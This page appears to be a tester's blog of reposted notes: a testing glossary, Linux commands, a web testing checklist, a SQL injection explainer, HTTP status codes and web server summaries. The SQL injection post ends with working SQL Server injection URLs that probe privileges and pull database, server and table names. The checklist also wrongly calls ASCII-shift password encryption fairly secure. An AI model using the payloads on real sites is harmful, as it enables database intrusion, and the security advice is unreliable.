    一种计划实验的方法,这样适合分析的数据可以被收集。
    design-based testing--基于设计的测试
    根据软件的构架或详细设计引出测试用例的一种方法。
    desk checking--桌面检查
    通过手工模拟软件执行的方式进行测试的一种方式。
    diagnostic--诊断
    检测和隔离故障或失效的过程。
    dirty testing--肮脏测试
    参考负面测试(negative testing)
    disaster recovery--灾难恢复
    一个灾难的恢复和重建过程或能力。
    documentation testing --文档测试
    测试关注于文档的正确性。
    domain--域
    值被选择的一个集合。
    domain testing--域测试
    参考等价划分测试(equivalence partition testing)
    dynamic analysis--动态分析
    根据执行的行为评价一个系统或组件的过程。
    Dynamic Testing--动态测试
    通过执行软件的手段来测试软件。
    embedded software--嵌入式软件
    软件运行在特定硬件设备中,不能独立于硬件存在。这类系统一般要求实时性较高。
    emulator--仿真
    一个模仿另一个系统的系统或设备,它接受相同的输入并产生相同的输出。
    End-to-End testing--端到端测试
    在一个模拟现实使用的场景下测试一个完整的应用环境,例如和数据库交互,使用网络通信等。
    entity relationship diagram--实体关系图
    描述现实世界中实体及它们关系的图形。
    entry point --入口点
    一个组件的第一个可执行语句。
    Equivalence Class--等价类
    组件输入或输出域的一个部分,在该部分中,组件的行为从组件的规格上来看认为是相同的。
    equivalence partition coverage--等价划分覆盖
    在组件中被测试执行到的等价类的百分比。
    equivalence partition testing--等价划分测试
    根据等价类设计测试用例的一种技术。
    Equivalence Partitioning--等价划分
    组件的一个测试用例设计技术,该技术从组件的等价类中选取典型的点进行测试。
    error--错误
    IEEE的定义是:一个人为产生不正确结果的行为。
    error guessing--错误猜测
    根据测试人员以往的经验猜测可能出现问题的地方来进行用例设计的一种技术。
    error seeding--错误播种/错误插值
    故意插入一些已知故障(fault)到一个系统中去的过程,目的是为了根据错误检测和跟踪的效率并估计系统中遗留缺陷的数量。
    exception--异常/例外
    一个引起正常程序执行挂起的事件。
    executable statement--可执行语句
    一个语句在被编译后会转换成目标代码,当程序运行是会被执行,并且可能对程序数据产生动作。
    Exhaustive Testing--穷尽测试
    测试覆盖软件的所有输入和条件组合。
    exit point--出口点
    一个组件的最后一个可执行语句。
    expected outcome--期望结果
    参考预期结果(predicted outcome)。
    failure--失效
    软件的行为与其期望的服务相背离。
  • 090309 LINUX基本命令小结

    navy2008 发布于 2009-03-09 11:07:30

    一、创建

    创建目录文件:mkdir test

    创建双层目录:mkdir -p test1/test2; p:parent

    创建文件:touch wenben.txt

    二、删除

    删除空目录:rmdir test

    删除双空目录:rmdir -p test/test1

    删除非空目录:rm -f ;f:force强制删除

    三、复制、移动以及重命名

    复制:cp:copy

    eg:cp test1 ./mulu,把test1复制到本层mulu文件夹中。

    cp -r mulu1 ./mulu2,把mulu1文件夹复制到本层mulu2文件夹下。r:recursive

    移动及重命名

    eg:mv test1 ./mulu test

    四、显示系统中执行程序命令

    top

    五、显示内存命令

    free

    六、结束/启动某个服务

    eg:service vsftpd start/stop

    七、直接看到内容命令

    cat

    八、关机命令

    shutdown now 立刻关机

    reboot 重新启动

    九、编辑文本

    命令:vi, :wq

    十、权限命令

    useradd 用户名

    chmod 修改权限,eg:chmod 777 test

    chgrp 修改用户组

    chown 修改所有者

    十一、解压缩命令

    eg:tar -zxvf vsftpd.conf.tar.gz

    十二、查看IP地址

    ifconfig

    十三、配置IP命令

    netconfig

    十四、查主机名称

    hostname

    十五、关闭linux的防火墙

    service iptables stop

     

     

     

     

     

     

     

     

  • linux学习(1)——Linux的文件属性及其权限的更改命令

    navy2008 发布于 2009-08-17 17:52:37

    一、文件种类:

    d: directory,目录

    l:link,连接文件,和windows下,快捷方式类似

    b:block,块设备文件

    ccharacter,字符设备文件,即串行端口的接口设备,如键盘、鼠标等

    ssockets,套接字,这类文件通常用在网络数据连接,通常放在/var/run目录中

    p: FIFOpipe,管道,是一种特殊的文件类型,主要目的是,解决多个程序同时访问一个文件所造成的错误。

    普通文件:

    纯文本文件、二进制文件、数据格式的文件

    .sh,批处理文件

    二、文件属性:

    r: read; 4

    w:write 2

    x:excute 1

    三、文件权限的更改

    1、  更改所属用户组:chgrp   change group

    格式:chgrp [-R] 新组名 文件(目录)

    -R:recursive,递归更新

    egchgrp  testgrp test.txt

    注意:要改成的用户组名,必须在/etc/group中存在。

     

    2、更改文件拥有者:chown   change owner

    该命令还可以更改用户所在的组

    格式:chown 新拥有者 文件(目录)名

    chown 新拥有:新组名 文件(目录)名

    eg

    chown test:root test.txt

     

    3、更改9个属性:chmod

    9个属性指:owner/group/others对应的read/write/excute

    格式:chmod  [-R]  xyz  文件(目录)名

    eg

    比如要设置test.txt文件的属性为:–rwxrwx—,可以这样设置

    chmod 761 test.txt

    chmod u=rwx,g=rw,o=x test.txt

    chmod u+x,g-r test.txt

     

    四、目录属性的设置

    r: read contents in directory:表示具有读取目录结构清单的权限

    wmodify contents of directory,表示将拥有更改该目录结果清单的权限

    xaccess directoryx与能否进入该目录有关

    五、查看文件内容

    1、cat

    -n:显示行号

    2、tac(反向显示)

    3、nl(显示时添加行号)

    -b:指定行号指定的方式,主要有两种:

        -b a:表示不论是否有空行,也同样列出行号

        -b t:如果有空行,空行不要列出行号

    4、翻页查看

    more:一页一页翻动,空格键表示向下翻动;回车键表示向下一行翻动

    less:一页一页翻动,可以向上翻动,pageup

    5、数据选取:

    head:取出前几行:head [-n number]

    tail:取出后几行

    6、非纯文本文件:od  od [-t TYPE] 文件

    7、touch:可以修改文件时间

    六、搜索文件

    1、which

    eg:which passwd

    2、whereis

    eg:whereis passwd

    3、locate

    eg:locate passwd(可以输入部分文件名)

    4、find

    eg:find /etc -name passwd





  • web 测试点总结(转)

    navy2008 发布于 2010-02-25 12:31:27

    1. 页面链接检查:每一个链接是否都有对应的页面,并且页面之间切换正确。可以使用一些工具,如LinkBotPro、File-AIDCS、HTML Link Validater、Xenu等工具。LinkBotPro不支持中文,中文字符显示为乱码;HTML Link Validater只能测试以Html或者htm结尾的网页链接;Xenu无需安装,支持asp、do、jsp等结尾的网页,xenu测试链接包括内部链接和外部链接,在使用的时候应该注意,同时能够生成html格式的测试报告。如果系统用QTP进行自动化测试,也可以使用QTP的页面检查点检查链接。

      2. 相关性检查:

      * 功能相关性:删除/增加一项会不会对其他项产生影响,如果产生影响,这些影响是否都正确,常见的情况是,增加某个数据记录以后,如果该数据记录某个字段内容较长,可能会在查询的时候让数据列表变形。

      * 数据相关性:下来列表默认值检查,下来列表值检查,如果某个列表的数据项依赖于其他模块中的数据,同样需要检查,比如,某个数据如果被禁用了,可能在引用该数据项的列表中不可见。

      3. 检查按钮的功能是否正确:如新建、编辑、删除、关闭、返回、保存、导入,上一页,下一页,页面跳转,重置等功能是否正确。常见的错误会出现在重置按钮上,表现为功能失效。

      4. 字符串长度检查: 输入超出需求所说明的字符串长度的内容, 看系统是否检查字符串长度。还要检查需求规定的字符串长度是否是正确的,有时候会出现,需求规定的字符串长度太短而无法输入业务数据。

      5. 字符类型检查: 在应该输入指定类型的内容的地方输入其他类型的内容(如在应该输入整型的地方输入其他字符类型),看系统是否检查字符类型。

      6. 标点符号检查: 输入内容包括各种标点符号,特别是空格,各种引号,回车键。看系统处理是否正确。常见的错误是系统对空格的处理,可能添加的时候,将空格当作一个字符,而在查询的时候空格被屏蔽,导致无法查询到添加的内容。

      7.特殊字符检查:输入特殊符号,如@、#、$、%、!等,看系统处理是否正确。常见的错误是出现在% ‘ \ 这几个特殊字符

      8. 中文字符处理: 在可以输入中、英文的系统输入中文,看会否出现乱码或出错。

      9. 检查信息的完整性: 在查看信息和更新信息时,查看所填写的信息是不是全部更新,更新信息和添加信息是否一致。要注意检查的时候每个字段都应该检查,有时候,会出现部分字段更新了而个别字段没有更新的情况。

      10. 信息重复: 在一些需要命名,且名字应该唯一的信息输入重复的名字或ID,看系统有没有处理,会否报错,重名包括是否区分大小写,以及在输入内容的前后输入空格,系统是否作出正确处理。

      11. 检查删除功能:在一些可以一次删除多个信息的地方,不选择任何信息,按“delete”,看系统如何处理,会否出错;然后选择一个和多个信息,进行删除,看是否正确处理。如果有多页,翻页选,看系统是否都正确删除,并且要注意,删除的时候是否有提示,让用户能够更正错误,不误删除。

      12. 检查添加和修改是否一致: 检查添加和修改信息的要求是否一致,例如添加要求必填的项,修改也应该必填;添加规定为整型的项,修改也必须为整型.

      13. 检查修改重名:修改时把不能重名的项改为已存在的内容,看会否处理,报错.同时,也要注意,会不会报和自己重名的错.

      14. 重复提交表单:一条已经成功提交的纪录,返回后再提交,看看系统是否做了处理。对于Web系统来说,可以通过浏览器返回键或者系统提供的返回功能。

      15. 检查多次使用返回键的情况: 在有返回键的地方,返回到原来页面,重复多次,看会否出错。

      16. 搜索检查: 有搜索功能的地方输入系统存在和不存在的内容,看搜索结果是否正确.如果可以输入多个搜索条件,可以同时添加合理和不合理的条件,看系统处理是否正确,搜索的时候同样要注意特殊字符,某些系统会在输入特殊字符的时候,将系统中所有的信息都搜索到。

      17. 输入信息位置: 注意在光标停留的地方输入信息时,光标和所输入的信息会否跳到别的地方。

      18. 上传下载文件检查:上传下载文件的功能是否实现,上传文件是否能打开。对上传文件的格式有何规定,系统是否有解释信息,并检查系统是否能够做到。下载文件能否打开或者保存,下载的文件是否有格式要求,如需要特殊工具才可以打开等。上传文件测试同时应该测试,如果将不能上传的文件后缀名修改为可以上传文件的后缀名,看是否能够上传成功,并且,上传文件后,重新修改,看上传的文件是否存在。

      19. 必填项检查:应该填写的项没有填写时系统是否都做了处理,对必填项是否有提示信息,如在必填项前加“*”;对必填项提示返回后,焦点是否会自动定位到必填项。

      20. 快捷键检查:是否支持常用快捷键,如Ctrl+C、 Ctrl+V、 Backspace等,对一些不允许输入信息的字段,如选人,选日期对快捷方式是否也做了限制。

      21. 回车键检查: 在输入结束后直接按回车键,看系统处理如何,会否报错。这个地方很有可能会出现错误。

      22.刷新键检查:在Web系统中,使用浏览器的刷新键,看系统处理如何,会否报错。

      23.回退键检查:在Web系统中,使用浏览器的回退键,看系统处理如何,会否报错。对于需要用户验证的系统,在退出登录后,使用回退键,看系统处理如何;多次使用回退键,多次使用前进键,看系统如何处理。

      24.直接URL链接检查:在Web系统中,直接输入各功能页面的URL地址,看系统如何处理,对于需要用户验证的系统更为重要。如果系统安全性设计的不好,直接输入各功能页面的URL地址,很有可能会正常打开页面。

      25.空格检查:在输入信息项中,输入一个或连串空格,查看系统如何处理。如对于要求输入整型、符点型变量的项中,输入空格,既不是空值,又不是标准输入。

      26.输入法半角全角检查:在输入信息项中,输入半角或全角的信息,查看系统如何处理。如对于要求输入符点型数据的项中,输入全角的小数点(“。”或“.”,如4.5);输入全角的空格等。

      27.密码检查:一些系统的加密方法采用对字符Ascii码移位的方式,处理密码加密相对较为简单,且安全性较高,对于局域网系统来说,此种方式完全可以起到加密的作用,但同时,会造成一些问题,即大于128的Ascii对应的字符在解密时无法解析,尝试使用“uvwxyz”等一些码值较大的字符作为密码,同时,密码尽可能的长,如17位密码等,造成加密后的密码出现无法解析的字符。

      28.用户检查:任何一个系统,都有各类不同的用户,同样具有一个或多个管理员用户,检查各个管理员之间是否可以相互管理,编辑、删除管理员用户。同时,对于一般用户,尝试删除,并重建同名的用户,检查该用户其它信息是否重现。同样,提供注销功能的系统,此用户再次注册时,是否作为一个新的用户。而且还要检查该用户的有效日期,过了有效日期的用户是不能登录系统的。容易出现错误的情况是,可能有用户管理权限的非超级管理员,能够修改超级管理员的权限。

      29.系统数据检查:这是功能测试最重要的,如果系统数据计算不正确,那么功能测试肯定是通不过的。数据检查根据不同的系统,方法不同。对于业务管理平台,数据随业务过程、状态的变化保持正确,不能因为某个过程出现垃圾数据,也不能因为某个过程而丢失数据。

      30.系统可恢复性检查:以各种方式把系统搞瘫,测试系统是否可正常迅速恢复。

      31.确认提示检查:系统中的更新、删除操作,是否提示用户确认更新或删除,操作是否可以回退(即是否可以选择取消操作),提示信息是否准确。事前或事后提示,对于Update或Delete操作,要求进行事前提示。

      32.数据注入检查:数据注入主要是对数据库的注入,通过输入一些特殊的字符,如“’”,“/”,“-”等或字符组合,完成对SQL语句的破坏,造成系统查询、插入、删除操作的SQL因为这些字符而改变原来的意图。如select * from table where id = ‘ ’ and  name = ‘  ’,通过在id输入框中输入“12’-”,会造成查询语句把name条件注释掉,而只查询id=12的记录。同样,对于update和delete的操作,可能会造成误删除数据。当然还有其它一些SQL注入方法,具体可以参考《SQL应用高级SQL注入.doc》,很多程序都是基于页面对输入字符进行控制的,可以尝试跳过界面直接向数据库中插入数据,比如用Jmeter,来完成数据注入检查。

      33.刷新检查:web系统中的WebForm控件实时刷新功能,在系统应用中有利有弊,给系统的性能带来较大的影响。测试过程中检测刷新功能对系统或应用造成的影响(白屏),检查控件是否回归默认初始值,检查是否对系统的性能产生较大影响(如每次刷新都连接数据库查询等)。

      34.事务检查:对于事务性操作,断开网络或关闭程序来中断操作,事务是否回滚。

      35.时间日期检查:时间、日期验证是每个系统都必须的,如2006-2-29、2006-6-31等错误日期,同时,对于管理、财务类系统,每年的1月与前一年的12月(同理,每年的第1季度与前一年的第4季度)。另外,对于日期、时间格式的验证,如2006年2月28日、2006-2-28、20060228等。日期检查还要检查日期范围是否符合实际的业务,对于不符合时间业务的日期,系统是否会有提示或者有限制

      36.多浏览器验证:越来越多的各类浏览器的出现,用户访问Web程序不再单单依赖于Microsoft Internet Explorer,而是有了更多的选择:Maxthon、Firefox、Tencent Traveler等,考虑使用多种浏览器访问系统,验证效果。

      37.安装测试:对于C/S架构的系统,安装程序的测试是一个重要方面,安装程序自动化程度、安装选项和设置(验证各种方案是否都能正常安装)、安装过程中断测试、安装顺序测试(分布式系统)、修复安装及卸载测试。

      38.文档测试:主要是对用户使用手册、产品手册进行测试,校验是否描述正确、完整,是否与当前系统版本对照,是否易理解,是否二义性等。

      39.测试数据检查:事实告诉我们,测试数据比代码更有可能是错的,因此,当测试结果显示有错误发生的时候,怀疑代码错误前要先对测试数据检查一遍。

      40.请让我的机器来运行:在某些项目中,出现一个病态的问题:系统没有问题呀,它在我的机器上是能够通过的。这就说明了其中存在着和环境相关的BUG。“是否所有的一切都受到了版本控制工具的管理?”、“本机的开发环境和服务器的环境是否一样?”、“这里是否存在一个真正的BUG,只不过是在其他的机器里偶然出现?”。所有的测试必须在所有系统要求的机器上运行通过,否则的话,代码就可能存在问题。

      41.Ajax技术的应用:Ajax有很多优点,但也有很多缺点,如果利用优点、避免缺点,是我们对新的Web2.0应用的一个挑战。而Ajax的应用最直接的问题就是用户体验,用户体验的效果直接关系到是否使用Ajax技术。“会做,并不意味着应该做、必须做”,这就是对Ajax技术的很重要的注解。

      42.Ajax技术的应用:Ajax采用异步调用的机制实现页面的部分刷新功能,异步调用存在异常中断的可能,尝试各种方法异常中断异步的数据调用,查看是否出现问题。在这里遇到的一个问题就是对日期控件的操作,已经如果页面数据较多的时候的刷新。

      43.脚本错误:随着Ajax、IFrame等异步调用技术的发展,Javascrīpt技术也越来越受到开发人员的重视,但Javascrīpt存在调试困难、各浏览器存在可能不兼容等问题,因此在Web系统中,可能会出现脚本错误。同时,脚本错误造成的后果可大、可小,不能忽视。

  • SQL注入的详细原理

    navy2008 发布于 2008-07-18 17:33:53

    1、什么是SQL注入

        随着B/S模式应用开发的发展,使得使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。攻击者可以通过互联网的输入区域,利用某些特殊构造的SQL语句插入SQL的特殊字符和指令,提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),操纵执行后端的DBMS查询并获得本不为用户所知数据的技术,也就是SQL Injection(SQL注入)。

        SQL注入是从正常的WWW端口通过对页面请求访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙很少会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

        SQL注入的手法相当灵活,可以根据具体情况进行分析,构造巧妙的SQL语句,从而获取想要的数据。

        程序存在SQL注入,追其原因,是因为代码或者编码的不完善。但说到底,是程序员的惰性。代码的不完善,往往是因为在程序编写的过程中,没有考虑到代码的健壮性及安全性的结果,就国内现状来看,大多数网站使用的脚本语言,用ASP+Access或SQLServer的占70%以上,PHP+MySQL占20%,其他的不足10%,并且因为开发者水平的参差不齐,代码编写的过程考虑不够周全,程序代码的安全性值得怀疑,而程序脚本被注入也成为必然。

        当然,程序运行环境的先天缺陷也是人为的,这种现象无法完全杜绝避免。从攻击者的角度来看,使用SQL注入能够避免绝大多数防火墙的防御,不留攻击痕迹,攻击手法多种多样,因此才会导致SQL注入攻击手段的兴起。

    2、SQL注入的原理及分类

        SQL-Injection的原理

        SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。SQL语言可以修改数据库结构和操作数据库内容。当一个攻击者能够通过往查询中插入一系列的SQL操作数据写入到应用程序中去,并对数据库实施了查询,这时就已经构成了SQL-Injection。

        SQL-Injection的分类

        由于SQL-injection攻击出要发生在B/S结构的应用程序上,而这些程序大部分都属于互联网的web站点,在这种情况下SQL-Injection同样需要遵循HTTP协议,形成了两种分类: POST方式注入和GET方式注入

    3、SQL-Injection的攻击方法

        常规注入方法 SQL注入攻击本身就是一个常规性的攻击,它可以允许一些不法用户检索你的数据,改变服务器的设置,或者在你不小心的时候黑掉你的服务器。

        旁注 顾名思义就是从旁注入,也就是利用主机上面的一个虚拟站点进行渗透 ,此类手法多出现与虚拟主机站点。

        盲注 通过构造特殊的SQL语句,在没有返回错误信息的情况下进行注入。

        跨站注入 攻击者利用程序对用户输入过滤及判断的不足,写入或插入可以显示在页面上对其他用户造成影响的代码。跨站注入的高级攻击就属于这种攻击。

    4、SQL注入的危害

        SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站的正常运营和访问该网站的网友都带来巨大危害。

    5、SQL注入漏洞的风险

        由于SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。

        无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循安全代码进行开发,攻击者将通过80端口进入你的系统。

        例如,如果一个网站的数据库系统为SQL Server 2000数据库,同时没有在数据库的权限设置上做好安全限制,将导致严重的后果。SQL注入意味着数据库也会被攻破,入侵者得到当前数据库权限的同时,也获得了整个数据库服务器的管理权限,入侵者可通过数据库管理权限得到系统权限,并为所欲为。

        再者,很多网站的管理后台都可经由公网直接访问到后台管理登录页面,并且可通过暴力猜解等方式对后台管理账户进行猜解。对于任何一个网站的后台管理登录页,安全的做法应该是限制访问。尤其是对于政府及银行网络来说,更不应该将后台管理页面放置到公网上任由访问,这样的话安全系数会大大减少,遭受攻击的机会却大大增加了。

    6、SQL注入之asp注入常用语句

    是否支持多句查询
    http://www.520hack.com @a int--

    是否支持子查询
    http://www.520hack.com and (Select count(1) from [sysobjects])>=0

    返回用户名
    http://www.520hack.com And user%2Bchar(124)=0

    当前用户是否为 sysadmin 固定服务器角色的成员。
    http://www.520hack.com And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1

    PS:0x730079007300610064006D0069006E00 = sysadmin

    当前用户是否为 db_owner 固定数据库角色的成员
    http://www.520hack.com And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))%2Bchar(124)=1

    0x640062005F006F0077006E0065007200 = db_owner

    返回数据库名
    http://www.520hack.com And db_name()%2Bchar(124)=0

    操作系统和SQLserver版本
    http://www.520hack.com And @@version = 1

    本地服务器名称
    http://www.520hack.com And @@SERVERNAME = 1

    http://www.520hack.com  And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一个表名

    本篇文章来源于 新世纪网安基地 (www.520hack.com) 原文出处:http://www.520hack.com/Article/Text5/200706/5705.html

  • HTTP状态码大全

    navy2008 发布于 2008-12-31 11:09:30

    HTTP 状态码大全,服务器日志重点部分

    响应码分五种类型,由它们的第一位数字表示:
    1.1xx:信息,请求收到,继续处理
    2.2xx:成功,行为被成功地接受、理解和采纳
    3.3xx:重定向,为了完成请求,必须进一步执行的动作
    4.4xx:客户端错误,请求包含语法错误或者请求无法实现
    5.5xx:服务器错误,服务器不能实现一种明显无效的请求
    100 Continue
    指示客户端应该继续请求。回送用于通知客户端此次请求已经收到,并且没有被服务器拒绝。
    客户端应该继续发送剩下的请求数据或者请求已经完成,或者忽略回送数据。服务器必须发送
    最后的回送在请求之后。
    101 Switching Protocols
    服务器依照客服端请求,通过Upgrade头信息,改变当前连接的应用协议。服务器将根据Upgrade头立刻改变协议
    在101回送以空行结束的时候。


    Successful
    =================================
    200 OK
    指示客服端的请求已经成功收到,解析,接受。
    201 Created
    请求已经完成并一个新的返回资源被创建。被创建的资源可能是一个URI资源,通常URI资源在Location头指定。回送应该包含一个实体数据
    并且包含资源特性以及location通过用户或者用户代理来选择合适的方法。实体数据格式通过煤体类型来指定即content-type头。最开始服务器
    必须创建指定的资源在返回201状态码之前。如果行为没有被立刻执行,服务器应该返回202。
    202 Accepted
    请求已经被接受用来处理。但是处理并没有完成。请求可能或者根本没有遵照执行,因为处理实际执行过程中可能被拒绝。
    203 Non-Authoritative Information
    204 No Content
    服务器已经接受请求并且没必要返回实体数据,可能需要返回更新信息。回送可能包含新的或更新信息由entity-headers呈现。
    205 Reset Content
    服务器已经接受请求并且用户代理应该重新设置文档视图。
    206 Partial Content
    服务器已经接受请求GET请求资源的部分。请求必须包含一个Range头信息以指示获取范围可能必须包含If-Range头信息以成立请求条件。

    Redirection
    ==================================
    300 Multiple Choices
    请求资源符合任何一个呈现方式。
    301 Moved Permanently
    请求的资源已经被赋予一个新的URI。
    302 Found
    通过不同的URI请求资源的临时文件。
    303 See Other
    304 Not Modified
    如果客服端已经完成一个有条件的请求并且请求是允许的,但是这个文档并没有改变,服务器应该返回304状态码。304
    状态码一定不能包含信息主体,从而通常通过一个头字段后的第一个空行结束。
    305 Use Proxy
    请求的资源必须通过代理(由Location字段指定)来访问。Location资源给出了代理的URI。
    306 Unused
    307 Temporary Redirect

    Client Error
    =====================
    400 Bad Request
    因为错误的语法导致服务器无法理解请求信息。
    401 Unauthorized
    如果请求需要用户验证。回送应该包含一个WWW-Authenticate头字段用来指明请求资源的权限。
    402 Payment Required
    保留状态码
    403 Forbidden
    服务器接受请求,但是被拒绝处理。
    404 Not Found
    服务器已经找到任何匹配Request-URI的资源。
    405 Menthod Not Allowed
    Request-Line请求的方法不被允许通过指定的URI。
    406 Not Acceptable
    407 Proxy Authentication Required
    408 Reqeust Timeout
    客服端没有提交任何请求在服务器等待处理时间内。
    409 Conflict
    410 Gone
    411 Length Required
    服务器拒绝接受请求在没有定义Content-Length字段的情况下。
    412 Precondition Failed
    413 Request Entity Too Large
    服务器拒绝处理请求因为请求数据超过服务器能够处理的范围。服务器可能关闭当前连接来阻止客服端继续请求。
    414 Request-URI Too Long
    服务器拒绝服务当前请求因为URI的长度超过了服务器的解析范围。
    415 Unsupported Media Type
    服务器拒绝服务当前请求因为请求数据格式并不被请求的资源支持。
    416 Request Range Not Satisfialbe
    417 Expectation Failed

    Server Error
    ===================================
    500 Internal Server Error
    服务器遭遇异常阻止了当前请求的执行
    501 Not Implemented
    服务器没有相应的执行动作来完成当前请求。
    502 Bad Gateway
    不确定的网关
    503 Service Unavailable
    因为临时文件超载导致服务器不能处理当前请求。
    504 Gateway Timeout
    网关超时
    505 Http Version Not Supported
    HTTP的版本不支持
  • 电子商务网站测试之浅见(1)

    navy2008 发布于 2009-05-30 18:58:03

      做电子商务网站测试已经一个月了,这一个月基本上是熟悉网站产品和流程的一个过程,对网站的各个部分基本上都进行了一次测试,感觉电子商务网站主要注意以下几点:

    1、注册和登录模块的测试

    在测试该部分时,给我印象最深的就是:

    1)注册成功,但登陆失败:注册时,密码设置为一些特殊的符号,比如:空格、%等,但登录时,失败。

    后来经开发人反映出现这样的问题,原因是:在登录模块,对密码设置了一些限定。

    2)登录时,没区分大小写,就是说,用小写字母注册的,登录时,用相应的大写字母登录也能成功。

    出现问题的原因:登录时,没用MD5加密进行验证

    2、购物车的测试

    1)测试产品能否放入购物车中

    2)当某种产品有购物数量限制时,超过这一数值,能否也能放入购物车中

    3)购物车中的购物限制是否正确

    3、支付流程测试

    1)购物车中的产品能否正常支付

    2)当支付完成,不等页面跳转,直接关闭浏览器,数据传递是否正确

    3)当支付完成,等待页面跳转,跳转到得页面是否正确

    4、网站某个模块间的数据传递是否正确

    当网站某个模块涉及的数据传递比较多而且比较复杂时,一定要搞清楚数据是怎么传递的,因为这是最容易出现bug的地方。比如:下拉菜单的数据没有传递过来,或传递过来了,但不正确,这时就要静下心来,慢慢滤清思考,耐心去测试。

        最后一点就是,在购买的过程中,也要考虑到并发,比如,当某种产品只剩一件了,这时两个用户或更多同时并发点击该产品,放入购物车中,那么在多个用户同时点击这个只剩一件的产品时,系统是否有相应的提示,或是,该产品能否都放入不同用户的购物车中,我上周测试的过程中,该问题是存在的,等待明天程序的解答和修改。

       电子商务网站,性能测试也是一个很重要的方面,虽然目前我还没开始这方面的测试,我希望能够结交这方面的朋友。

       以上就是我的一点总结和心得,希望能够和有同样测试经历的朋友共同探讨,一块进步!!

  • web服务器汇总(转)

    navy2008 发布于 2009-06-05 17:41:56

       在UNIX和LINUX平台下使用最广泛的免费HTTP服务器是W3C、NCSA和APACHE服务器,而Windows平台NT/2000/2003使用IIS的WEB服务器。在选择使用WEB服务器应考虑的本身特性因素有:性能、安全性、日志和统计、虚拟主机、代理服务器、缓冲服务和集成应用程序等,下面介绍几种常用的WEB服务器。

       Microsoft IIS

      Microsoft的Web服务器产品为Internet Information Server (IIS), IIS 是允许在公共Intranet或Internet上发布信息的Web服务器。IIS是目前最流行的Web服务器产品之一,很多著名的网站都是建立在IIS的平台上。IIS提供了一个图形界面的管理工具,称为 Internet服务管理器,可用于监视配置和控制Internet服务。
      IIS是一种Web服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。它提供ISAPI(Intranet Server API)作为扩展Web服务器功能的编程接口;同时,它还提供一个Internet数据库连接器,可以实现对数据库的查询和更新。
      官方网站:http://www.microsoft.com
      下载地址:
    http://www.eryin.com/Server/Soft/200808/02257.html


      IBM WebSphere

      WebSphere Application Server 是 一 种功能完善、开放的Web应用程序服务器,是IBM电子商务计划的核心部分,它是基于 Java 的应用环境,用于建立、部署和管理 Internet 和 Intranet Web 应用程序。 这一整套产品进行了扩展,以适应 Web 应用程序服务器的需要,范围从简单到高级直到企业级。
      WebSphere 针对以 Web 为中心的开发人员,他们都是在基本 HTTP服务器和 CGI 编程技术上成长起来的。IBM 将提供 WebSphere 产品系列,通过提供综合资源、可重复使用的组件、功能强大并易于使用的工具、以及支持 HTTP 和 IIOP 通信的可伸缩运行时环境,来帮助这些用户从简单的 Web 应用程序转移到电子商务世界。
      官方网站:http://www.ibm.com
      下载地址:
    http://www.ibm.com/developerworks/cn/downloads/ws/wasce/

      BEA WebLogic
      BEA WebLogic Server 是一种多功能、基于标准的web应用服务器,为企业构建自己的应用提供了坚实的基础。各种应用开发、部署所有关键性的任务,无论是集成各种系统和数据库,还是提交服务、跨 Internet 协作,起始点都是 BEA WebLogic Server。由于 它具有全面的功能、对开放标准的遵从性、多层架构、支持基于组件的开发,基于 Internet 的企业都选择它来开发、部署最佳的应用。
      BEA WebLogic Server 在使应用服务器成为企业应用架构的基础方面继续处于领先地位。BEA WebLogic Server 为构建集成化的企业级应用提供了稳固的基础,它们以 Internet 的容量和速度,在连网的企业之间共享信息、提交服务,实现协作自动化。
      官方网站:http://www.bea.com
      下载地址:
    http://www.oracle.com/bea/index.html

      Apache
      Apache仍然是世界上用的最多的Web服务器,市场占有率达60%左右。它源于NCSAhttpd服务器,当NCSA WWW服务器项目停止后,那些使用NCSA WWW服务器的人们开始交换用于此服务器的补丁,这也是apache名称的由来(pache 补丁)。世界上很多著名的网站都是Apache的产物,它的成功之处主要在于它的源代码开放、有一支开放的开发队伍、支持跨平台的应用(可以运行在几乎所有的Unix、Windows、Linux系统平台上)以及它的可移植性等方面。
      官方网站:http://www.apache.org
      下载地址:
    http://www.eryin.com/Server/Soft/200808/01245.html

      Tomcat
      Tomcat是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。Tomcat Server是根据servlet和JSP规范进行执行的,因此我们就可以说Tomcat Server也实行了Apache-Jakarta规范且比绝大多数商业应用软件服务器要好。
      Tomcat是Java Servlet 2.2和JavaServer Pages 1.1技术的标准实现,是基于Apache许可证下开发的自由软件。Tomcat是完全重写的Servlet API 2.2和JSP 1.1兼容的Servlet/JSP容器。Tomcat使用了JServ的一些代码,特别是Apache服务适配器。随着Catalina Servlet引擎的出现,Tomcat第四版号的性能得到提升,使得它成为一个值得考虑的Servlet/JSP容器,因此目前许多WEB服务器都是采用Tomcat。
      官方网站:http://tomcat.apache.org
      下载地址:http://www.eryin.com/Server/Soft/200808/02250.html

  • 转:容易遗漏的测试地方

    navy2008 发布于 2009-10-19 10:50:23

